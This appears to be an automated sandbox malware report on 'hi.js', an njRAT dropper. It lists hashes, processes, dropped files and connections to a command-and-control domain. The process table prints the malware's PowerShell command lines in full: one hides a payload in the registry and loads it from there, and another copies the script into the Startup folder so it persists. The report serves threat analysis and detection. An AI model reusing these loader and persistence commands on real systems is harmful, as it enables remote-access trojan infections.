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| File name: | hi.js |
| Full analysis: | https://app.any.run/tasks/6c0649ba-4a6a-4b44-95dc-36ed0e632df9 |
| Verdict: | Malicious activity |
| Threats: | njRAT is a remote access trojan. It is one of the most widely accessible RATs on the market that features an abundance of educational information. Interested attackers can even find tutorials on YouTube. This allows it to become one of the most popular RATs in the world. |
| Analysis date: | March 22, 2019, 10:02:23 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines, with no line terminators |
| MD5: | B6CDB8F719EAA07D23859DAE15084734 |
| SHA1: | 0FDEEF4894417BD530B579B633CB375CBFBD5B63 |
| SHA256: | F3B291D77E5960DA80B242EE94EC9E4A269068FCFA80C8AB8A976F5A272A1A4F |
| SSDEEP: | 768:wYrugLc/9JBu3+fBv3HYnvtRKLzJR9cpJHQM49IvYBx9/rpWS1BCYDYaID90wViu:wYVu9JVfF3Yn7KbmpJHmzB1FDnIvV |
MALICIOUS
NJRAT was detected
- powershell.exe (PID: 4040)
Connects to CnC server
- powershell.exe (PID: 4040)
Writes to a start menu file
- powershell.exe (PID: 3496)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 4040)
- powershell.exe (PID: 3496)
Executes PowerShell scripts
- WScript.exe (PID: 1524)
Connects to unusual port
- powershell.exe (PID: 4040)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
35
Monitored processes
3
Malicious processes
2
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 1524 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\hi.js" | C:\Windows\System32\WScript.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
| 3496 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\hi.js',[System.IO.File]::ReadAllText('C:\Users\admin\AppData\Local\Temp\hi.js'))" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 4040 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'start').start;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
461
Read events
320
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
4
Text files
1
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3496 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MOPPARZS5JVL32BDQ4GZ.temp | — | |
MD5:— | SHA256:— | |||
| 4040 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ITYPBUPWZ9YCQQ42OBVS.temp | — | |
MD5:— | SHA256:— | |||
| 3496 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFf8a55.TMP | binary | |
MD5:7100C9D54A32DFE02751A9E1BC41F804 | SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C | |||
| 3496 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:7100C9D54A32DFE02751A9E1BC41F804 | SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C | |||
| 4040 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFf8a74.TMP | binary | |
MD5:7100C9D54A32DFE02751A9E1BC41F804 | SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C | |||
| 4040 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:7100C9D54A32DFE02751A9E1BC41F804 | SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C | |||
| 3496 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.js | text | |
MD5:B6CDB8F719EAA07D23859DAE15084734 | SHA256:F3B291D77E5960DA80B242EE94EC9E4A269068FCFA80C8AB8A976F5A272A1A4F | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
4
DNS requests
2
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4040 | powershell.exe | 104.20.208.21:443 | pastebin.com | Cloudflare Inc | US | shared |
4040 | powershell.exe | 194.5.97.145:21000 | holydns.warzonedns.com | — | FR | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
pastebin.com |
| shared |
holydns.warzonedns.com |
| malicious |
Threats
2 ETPRO signatures available at the full report